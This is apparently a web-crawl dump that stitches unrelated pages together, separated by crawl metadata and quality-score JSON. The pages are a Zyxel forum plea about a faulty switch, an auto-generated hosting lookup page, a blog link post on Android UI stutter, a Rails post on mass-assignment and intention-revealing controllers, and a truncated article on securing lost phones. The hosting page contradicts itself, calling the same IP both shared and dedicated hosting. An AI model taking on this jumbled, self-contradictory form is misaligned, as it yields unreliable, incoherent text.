"primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
789,406,170,230,090,400
Zyxel 1920-48HP DaveClark DaveClark Posts: 1 edited August 2022 in Switch Sys light blinking. I have recently inherited a ZyXEL 1920-48HP POE. This is the problem:  https://drive.google.com/file/d/1WrymJrLPBDALaiOyRFdhV5KFwGNnFpuM/view?usp=sharing (Sorry about the high rez, phone was set to high rez recording) I'm aware there are no external console ports for this unit, but this looks like other switches I have encountered, some of which had access to console ports internally as long as you had an adapter. Does anyone know if I can get further info from this switch, do a further reset with jumpers inside, or have a factory service manual. This is for a non-profit legal assistance org to the poor, they don't have a huge amount of budget they need their hardwear working. Any help would be super welcome. -Dave Clark [email protected] All Replies
{ "url": "https://community.zyxel.com/en/discussion/10710/zyxel-1920-48hp", "source_domain": "community.zyxel.com", "snapshot_id": "CC-MAIN-2024-33", "warc_metadata": { "Content-Length": "317353", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:7KQB6C4KC7LOUAZ4V4IVAHIQJAGC5XLX", "WARC-Concurrent-To": "<urn:uuid:8881d77e-12ca-4a40-ae33-6a6d810f034a>", "WARC-Date": "2024-08-07T10:08:37Z", "WARC-IP-Address": "162.159.128.79", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:A35EC2HUN5M4J5FO2JLTNTEI4ZSG7W6F", "WARC-Record-ID": "<urn:uuid:7915be9e-0797-41d8-8716-a9e30fcf8c5e>", "WARC-Target-URI": "https://community.zyxel.com/en/discussion/10710/zyxel-1920-48hp", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:35bf4361-9d07-433d-83a0-744f54725b8f>" }, "warc_info": "isPartOf: CC-MAIN-2024-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-201\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 16, 17, 27, 46, 75, 166, 249, 250, 314, 815, 816, 828, 854, 855, 856 ], "line_end_idx": [ 16, 17, 27, 46, 75, 166, 249, 250, 314, 815, 816, 828, 854, 855, 856, 867 ] }
{ "red_pajama_v2": { "ccnet_original_length": 867, "ccnet_original_nlines": 15, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3586956560611725, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03804348036646843, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.20108695328235626, "rps_doc_frac_unique_words": 0.7629629373550415, "rps_doc_mean_word_length": 5.1259260177612305, "rps_doc_num_sentences": 11, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.5177083015441895, "rps_doc_word_count": 135, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.03757224977016449, "rps_doc_frac_chars_top_3gram": 0, "rps_doc_frac_chars_top_4gram": 0, "rps_doc_books_importance": -81.68507385253906, "rps_doc_books_importance_length_correction": -81.68507385253906, "rps_doc_openwebtext_importance": -48.29829025268555, "rps_doc_openwebtext_importance_length_correction": -43.00948715209961, "rps_doc_wikipedia_importance": -39.66914749145508, "rps_doc_wikipedia_importance_length_correction": -39.66914749145508 }, "fasttext": { "dclm": 0.0873260498046875, "english": 0.9555129408836365, "fineweb_edu_approx": 0.9196189641952515, "eai_general_math": 0.14949184656143188, "eai_open_web_math": 0.11667847633361816, "eai_web_code": 0.1759912371635437 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.6", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "340", "labels": { "level_1": "Social sciences", "level_2": "Law", "level_3": "" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "1", "label": "Factual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "1", "label": "No Reasoning" } }, "technical_correctness": { "primary": { "code": "6", "label": "Not Applicable/Indeterminate" }, "secondary": { "code": "2", "label": "Partially Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
2,923,904,591,903,746,000
www.Guytv.net - Guytv Dedicated or Shared Hosting? www.Guytv.net resolves to the IP 208.91.197.26 Result: www.Guytv.net is hosted by the ISP Confluence Networks in Virgin Islands, British. We found that on the IP of www.Guytv.net 67 more websites are hosted. More information about www.guytv.net Hostname: n/a IP address: 208.91.197.26 Country: Virgin Islands, British State: n/a City: n/a Postcode: n/a Latitude: 18.500000 Longitude: -64.500000 ISP: Confluence Networks Organization: Confluence Networks Local Time: n/a this shows to be shared hosting with multiple websites (3/10) What is shared hosting? Here are the IP Neighbours for www.Guytv.net 1. 5.dest-golf.com 2. 7worldtradecenter.net 3. coresurfshop.com 4. darknlovely.com 5. dinnersonme.com 6. dmnirvana.com 7. fabricguy.com 8. gardentutoronline.org 9. iaudit.com 10. indy-tours.com 11. injectionmoldedppcone.biz 12. insulationhq.com 13. irsbusters.org 14. kansascitylife.org 15. kathyfoster.com 16. kenner.net 17. monsterhd.com 18. netranger.com 19. nfpadvisor.biz 20. omniaindustries.net 21. paperjourney.com 22. performancechip.com 23. productassist.org 24. scanaustria.com 25. smartmedicalproducts.com 26. tech-tel.org 27. thoroughbredworld.com 28. vaccineh5n1.info 29. waddell.info 30. waileatennis.info 31. whitepicketfence.com 32. wholetoyshop.org 33. www.bfmltd.com 34. www.boysintomen.com 35. www.chartease.net 36. www.chopshop.com 37. www.diamondsupply.com 38. www.earlystageconsulting.net 39. www.echocube.net 40. www.ex-votos.com 41. www.galiza.com 42. www.goodsam-im.org 43. www.gstcorp.com 44. www.guytv.net 45. www.hangaquilt.com 46. www.hardagency.net 47. www.hdlumber.com 48. www.helpmemmm.com 49. www.intellicook.com 50. www.koinonia.org 51. www.kreditupplysning.com 52. www.largopubliclibrary.net 53. www.modogg.com 54. www.perfectgiftsandparties.com 55. www.photostore.com 56. www.place2place.com 57. www.plasticdipmolding.net 58. www.publicitylink.com 59. www.resultmanagement.org 60. www.richlook.com 61. www.saverite.net 62. www.servicewithoutservants.com 63. www.sheesha.com 64. www.swimminggear.com 65. www.tfsports.com 66. www.tow-insurfing.com 67. www.vaskan.com 68. www.zeusventures.com Domain Age: Unknown Bing Indexed Pages: 0 Alexa Rank: n/a Compete Rank: 0 www.Guytv.net seems to be located on dedicated hosting on the IP address 208.91.197.26 from the Internet Service Provider Confluence Networks located in Virgin Islands, British. The dedicated hosting IP of 208.91.197.26 appears to be hosting 67 additional websites along with www.Guytv.net.
{ "url": "http://www.guytv.net.dedicatedornot.com/", "source_domain": "www.guytv.net.dedicatedornot.com", "snapshot_id": "crawl=CC-MAIN-2018-43", "warc_metadata": { "Content-Length": "13417", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:3HLKNYPQXWJ4KLYIN66UTYYNOEVB4A24", "WARC-Concurrent-To": "<urn:uuid:37d96bf6-b8b0-4240-9513-e5ca8893608d>", "WARC-Date": "2018-10-17T03:02:49Z", "WARC-IP-Address": "148.251.120.226", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:A5G66ZZR3JW4WQMR2PL4SMSHIBBPCYEG", "WARC-Record-ID": "<urn:uuid:41b382f2-2686-4ede-bc6f-c2b8674612bb>", "WARC-Target-URI": "http://www.guytv.net.dedicatedornot.com/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:d62de97b-0c94-4322-ab7e-a7b489317ce9>" }, "warc_info": "isPartOf: CC-MAIN-2018-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-168-124-187.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 51, 52, 99, 100, 108, 109, 192, 262, 263, 300, 301, 315, 341, 374, 385, 395, 409, 429, 451, 476, 510, 526, 527, 589, 613, 614, 659, 660, 681, 708, 730, 751, 772, 791, 810, 837, 853, 874, 906, 929, 950, 975, 997, 1014, 1034, 1054, 1075, 1101, 1124, 1150, 1174, 1196, 1227, 1246, 1274, 1297, 1316, 1340, 1367, 1390, 1411, 1437, 1461, 1484, 1512, 1547, 1570, 1593, 1614, 1639, 1661, 1681, 1706, 1731, 1754, 1778, 1804, 1827, 1858, 1891, 1912, 1949, 1974, 2000, 2032, 2060, 2091, 2114, 2137, 2174, 2196, 2223, 2246, 2274, 2295, 2322, 2323, 2324, 2366, 2398, 2399 ], "line_end_idx": [ 51, 52, 99, 100, 108, 109, 192, 262, 263, 300, 301, 315, 341, 374, 385, 395, 409, 429, 451, 476, 510, 526, 527, 589, 613, 614, 659, 660, 681, 708, 730, 751, 772, 791, 810, 837, 853, 874, 906, 929, 950, 975, 997, 1014, 1034, 1054, 1075, 1101, 1124, 1150, 1174, 1196, 1227, 1246, 1274, 1297, 1316, 1340, 1367, 1390, 1411, 1437, 1461, 1484, 1512, 1547, 1570, 1593, 1614, 1639, 1661, 1681, 1706, 1731, 1754, 1778, 1804, 1827, 1858, 1891, 1912, 1949, 1974, 2000, 2032, 2060, 2091, 2114, 2137, 2174, 2196, 2223, 2246, 2274, 2295, 2322, 2323, 2324, 2366, 2398, 2399, 2689 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2689, "ccnet_original_nlines": 101, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.13649852573871613, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.011869439855217934, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.5044510364532471, "rps_doc_frac_unique_words": 0.7473309636116028, "rps_doc_mean_word_length": 7.17437744140625, "rps_doc_num_sentences": 209, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.161035060882568, "rps_doc_word_count": 281, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.009920629672706127, "rps_doc_frac_chars_top_3gram": 0.029761899262666702, "rps_doc_frac_chars_top_4gram": 0.0218253992497921, "rps_doc_books_importance": -331.1069641113281, "rps_doc_books_importance_length_correction": -331.1069641113281, "rps_doc_openwebtext_importance": -186.33560180664062, "rps_doc_openwebtext_importance_length_correction": -186.33560180664062, "rps_doc_wikipedia_importance": -47.549400329589844, "rps_doc_wikipedia_importance_length_correction": -47.549400329589844 }, "fasttext": { "dclm": 0.44818758964538574, "english": 0.6044651865959167, "fineweb_edu_approx": 1.920204997062683, "eai_general_math": 0.001564500038512051, "eai_open_web_math": 0.4333537220954895, "eai_web_code": 0.0009648799896240234 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "004.6", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "-1", "label": "Abstain" } }, "bloom_knowledge_domain": { "primary": { "code": "1", "label": "Factual" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "1", "label": "No Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
4,215,772,587,604,184,000
Hacker News Thread on Charles Ying’s Piece on Android and GPU Acceleration The Hacker News thread on Ying’s article is interesting. There’s an Android user named Jonathan Rockway who first comments: But the thing is, nobody actually cares about this. I have used an Android phone since the beginning. Touch responsiveness is not something I have ever noticed. Any delay in rendering web pages is due to the network. But later on in the thread Rockway acknowledges: I turn animations off. Useless eye candy that just wastes the battery. Also, is it really fair to compare the N1, a phone that’s over a year old, to brand-new WP7 phones? So one of the few people in the thread defending Android’s UI performance is someone who admittedly turns off animations. “Android has a stuttery UI” doesn’t mean “Android is bad” or “Android is useless” or even necessarily “Android is not the best mobile OS”. It just means that Android has a stuttery UI. Update: What I find fascinating about this is how many Android partisans continue to insist not that the problem doesn’t matter, but that the problem doesn’t exist. That it’s a fabrication made up by iOS (and, now, I suppose, Windows Phone 7) partisans. Tell an iPhone fan that the iOS notification system is kind of lame and they’ll probably agree. Tell an Android fan that their UI rendering is stuttery and they lash out. Tuesday, 4 January 2011 Ads via The Deck Ads via The Deck
{ "url": "http://daringfireball.net/linked/2011/01/04/hacker-news-ying", "source_domain": "daringfireball.net", "snapshot_id": "crawl=CC-MAIN-2017-13", "warc_metadata": { "Content-Length": "7800", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:D3BBKSFU2GUXTUCL27UDALVEXHTTUPYF", "WARC-Concurrent-To": "<urn:uuid:c83fea7e-a483-4dc6-bef2-1631f9a57d8f>", "WARC-Date": "2017-03-28T00:25:21Z", "WARC-IP-Address": "199.192.241.217", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:SUFTVO2J5OZURYW5XRJ3J54SMJEENRCB", "WARC-Record-ID": "<urn:uuid:da3e3df6-f943-41f6-bff3-413e85fde179>", "WARC-Target-URI": "http://daringfireball.net/linked/2011/01/04/hacker-news-ying", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:3aeecbb2-9964-476c-8db8-2ac25766ff7a>" }, "warc_info": "robots: classic\r\nhostname: ip-10-233-31-227.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-13\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for March 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 75, 76, 200, 201, 418, 419, 468, 469, 540, 541, 641, 642, 764, 765, 950, 951, 1376, 1377, 1401, 1402 ], "line_end_idx": [ 75, 76, 200, 201, 418, 419, 468, 469, 540, 541, 641, 642, 764, 765, 950, 951, 1376, 1377, 1401, 1402, 1435 ] }
{ "red_pajama_v2": { "ccnet_original_length": 1435, "ccnet_original_nlines": 20, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.38562092185020447, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.04248366132378578, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.16339868307113647, "rps_doc_frac_unique_words": 0.596774160861969, "rps_doc_mean_word_length": 4.629032135009766, "rps_doc_num_sentences": 16, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.7048845291137695, "rps_doc_word_count": 248, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.023519160225987434, "rps_doc_frac_chars_top_3gram": 0.02787455916404724, "rps_doc_frac_chars_top_4gram": 0.03135889023542404, "rps_doc_books_importance": -145.764892578125, "rps_doc_books_importance_length_correction": -143.32749938964844, "rps_doc_openwebtext_importance": -85.00409698486328, "rps_doc_openwebtext_importance_length_correction": -85.00409698486328, "rps_doc_wikipedia_importance": -41.27965545654297, "rps_doc_wikipedia_importance_length_correction": -34.138023376464844 }, "fasttext": { "dclm": 0.019324779510498047, "english": 0.941149890422821, "fineweb_edu_approx": 1.2249959707260132, "eai_general_math": 0.0137482900172472, "eai_open_web_math": 0.4384002089500427, "eai_web_code": 0.05440241098403931 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "004.16", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "5", "label": "Evaluate" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "1", "label": "News/Editorial" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "16", "label": "Personal Blog" }, "secondary": { "code": "5", "label": "Comment Section" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "6", "label": "Not Applicable/Indeterminate" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
2,129,061,087,277,262,300
DirtyInformation Pair program with me! Lost in Translation I have had a few conversations about how to design Rails controllers over the last seven years. I've also heard a lot of really great developers say, "Why aren't controllers extracted away by now?" This problems seems to stem from the ActiveRecord API. Once there is a tool that takes a hash it can do anything. With this hammer great developers go drive nails, screws and fluffy bunnies. Just in case that doesn't grab you take a look at these two controller methods I found in the same application. def update article = Article.find(params[:id]) article.update_attributes params[:article] respond_with article end That one was straight forward enough. def update article = Article.find(params[:id]) article.update_attributes params[:article] respond_with article end Oh, that one two. Make sure to take a really close look at those two methods. Can you tell what the difference is? Can you tell me what they do? Hint: I copy and pasted them. They have the exact same code. So why do they appear in two different places in the code? Oh, I know, we have this hammer so we can just abstract the controllers away and they should all look like this! Then all the nails are taken care of. Oh, and the screws. We mustn't forget about the bunnies that are now bleeding from the hammer smashing them to bits. I want to talk about the security flaw in this code, but I think we should discuss what they do first. These two controllers had very distinct responsibilities and where used by two distinct types of users. Can you tell me what the responsibilities of these controllers are? How about I give you the names of the controllers? The first one is the ArticlesController, and the second is the SubmissionsController. Wait that isn't right at all. The first is the SubmissionsController and the second...Well I think you get the confusion here. In order to try to make this code a little more clear the team working on it wanted to add this to the code: class SubmissionsController Submission = Article def update submission = Submission.find(params[:id]) #... end They thought this would provide some expandability in the future if Submissions and Articles became separate classes. I really appreciated their ability to find the noun, but I also wanted to cry. Do you know what these controllers do now? Neither do I. You see there is nothing to reveal intention in this code. If you've known me a while you will also know that I am not one for comments, which the team also had in place. Oh, and the comments weren't quite accurate we found out. Here is the code that I ended up writing. def update article = Article.find(params[:id]) article.submit(params[:article][:title], params[:article][:body]) respond_with article end def update article = Article.find(params[:id]) article.publish_on(params[:article][:published_on]) respond_with article end There is still a little repetition, but this is a very basic form. I didn't go find the team I helped and ask them for the code. Now can you tell me what these controller do? The first controller is used by a journalists/community to submit articles/letters to the editor to a newspaper. The second is used by the editor to accept and pick a publishing date for the article. The change above also solved a security issue that they were a little concerned about. The original code had white listed attributes in the Article class. This was great until they realized that with a little params hack someone could publish an article when they submitted it. The whole point of the software was to make the work flow of getting news to the presses. ActiveRecord has a very broad interface. Avdi calls it an "infinite interface." This is very true in methods like update_attributes and others that take an attributes hash. The intention of its use is determined by its inputs. This leads to a lot of power, but lacks fine grained controls. This is why the Rails core team had to implement strong parameters. I think these are great in the battle field of security, but still not showing the intention of our code. After many examples like this I'm asking you to put away the hammer. Pull out your screwdrivers, air guns and multitude of other tools. Pick the one that reveals what it is for. Hide ActiveRecord away as soon as the prototyping is over. I'm not saying to not use ActiveRecord, but treat it like a powerful set of private methods. The Past Contact Me Email [email protected] Github Adkron Twitter @adkron Podcast This Agile Life
{ "url": "http://dirtyinformation.com/", "source_domain": "dirtyinformation.com", "snapshot_id": "crawl=CC-MAIN-2014-10", "warc_metadata": { "Content-Length": "12927", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:WRFM5GNHXKGO4D6LRIDQEDJGF74EVMDL", "WARC-Concurrent-To": "<urn:uuid:a304fb2d-49a2-4569-9df5-fc05b965bd3c>", "WARC-Date": "2014-03-09T05:05:46Z", "WARC-IP-Address": "204.232.175.78", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:3WEFWN5AUQW4PTND5EZBL53A4HMVMP4P", "WARC-Record-ID": "<urn:uuid:a88824d6-29b0-4ba6-ab7c-2bccc5291a17>", "WARC-Target-URI": "http://dirtyinformation.com/", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:702d7699-4d6f-4bc6-9128-9cdb5705b905>" }, "warc_info": "robots: classic\r\nhostname: ip-10-183-142-35.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-10\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for March 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 17, 18, 40, 41, 61, 62, 563, 564, 577, 617, 664, 689, 695, 696, 734, 735, 748, 788, 835, 860, 866, 867, 1132, 1133, 1401, 1402, 1941, 1942, 2051, 2052, 2082, 2107, 2108, 2123, 2171, 2182, 2190, 2191, 2445, 2446, 2675, 2676, 2718, 2719, 2732, 2772, 2842, 2867, 2873, 2886, 2926, 2982, 3007, 3013, 3014, 3189, 3190, 3390, 3391, 3759, 3760, 4224, 4225, 4555, 4556, 4565, 4566, 4577, 4578, 4584, 4606, 4613, 4620, 4628, 4636, 4644 ], "line_end_idx": [ 17, 18, 40, 41, 61, 62, 563, 564, 577, 617, 664, 689, 695, 696, 734, 735, 748, 788, 835, 860, 866, 867, 1132, 1133, 1401, 1402, 1941, 1942, 2051, 2052, 2082, 2107, 2108, 2123, 2171, 2182, 2190, 2191, 2445, 2446, 2675, 2676, 2718, 2719, 2732, 2772, 2842, 2867, 2873, 2886, 2926, 2982, 3007, 3013, 3014, 3189, 3190, 3390, 3391, 3759, 3760, 4224, 4225, 4555, 4556, 4565, 4566, 4577, 4578, 4584, 4606, 4613, 4620, 4628, 4636, 4644, 4659 ] }
{ "red_pajama_v2": { "ccnet_original_length": 4659, "ccnet_original_nlines": 76, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.4472843408584595, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.021299250423908234, "rps_doc_frac_lines_end_with_ellipsis": 0.012987010180950165, "rps_doc_frac_no_alph_words": 0.14802981913089752, "rps_doc_frac_unique_words": 0.4190981388092041, "rps_doc_mean_word_length": 4.782493591308594, "rps_doc_num_sentences": 70, "rps_doc_symbol_to_word_ratio": 0.003194889985024929, "rps_doc_unigram_entropy": 5.177187442779541, "rps_doc_word_count": 754, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.06433721631765366, "rps_doc_frac_chars_dupe_6grams": 0.05102606862783432, "rps_doc_frac_chars_dupe_7grams": 0.05102606862783432, "rps_doc_frac_chars_dupe_8grams": 0.05102606862783432, "rps_doc_frac_chars_dupe_9grams": 0.05102606862783432, "rps_doc_frac_chars_top_2gram": 0.0069328900426626205, "rps_doc_frac_chars_top_3gram": 0.01774819940328598, "rps_doc_frac_chars_top_4gram": 0.0388241782784462, "rps_doc_books_importance": -404.3752136230469, "rps_doc_books_importance_length_correction": -404.3752136230469, "rps_doc_openwebtext_importance": -213.55032348632812, "rps_doc_openwebtext_importance_length_correction": -213.55032348632812, "rps_doc_wikipedia_importance": -192.36941528320312, "rps_doc_wikipedia_importance_length_correction": -192.36941528320312 }, "fasttext": { "dclm": 0.3399847745895386, "english": 0.9595332741737366, "fineweb_edu_approx": 1.7636280059814453, "eai_general_math": 0.6559770107269287, "eai_open_web_math": 0.13598120212554932, "eai_web_code": 0.22793233394622803 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.452", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "5", "label": "Evaluate" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "16", "label": "Personal Blog" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
3,530,702,207,841,819,600
Losing your hardware is bad enough, but what happens to your personal data? Could a thief with your phone, tablet, or laptop access your apps and files? It depends on the device you lost—unfortunately, most Windows PCs aren’t encrypted. Thieves can always erase your device and keep using it—unless you enable something like Activation Lock on an iPhone or iPad—but they can’t get at your personal data if your device’s storage is encrypted. iPhones and iPads Apple’s iPhones and iPads are securely encrypted by default. A thief won’t be able to unlock your phone without your passcode. Even if you normally sign in with Touch ID or Face ID, your phone is also secured with a passcode. Of course, if you set your iPhone or iPad to not require a passcode or you use one that’s very easy to guess—like 1234 or 0000—the thief may easily unlock it. However, some types of personal information remain visible, even if you’ve protected your device with a passcode. For example, the thief can see any notifications that arrive on your phone without unlocking it. With the default settings, this means the thief will see incoming text messages—including messages that contain SMS verification codes for accessing your accounts. You can hide sensitive notifications from your lock screen, but they’re all on your lock screen by default. The thief could also answer incoming phone calls on your phone. You can head to Apple’s Find My iPhone website to remotely locate your lost iPhone or iPad. To prevent a thief from using your device, put it into “Lost Mode.” This will disable all notifications and alarms on it. Lost 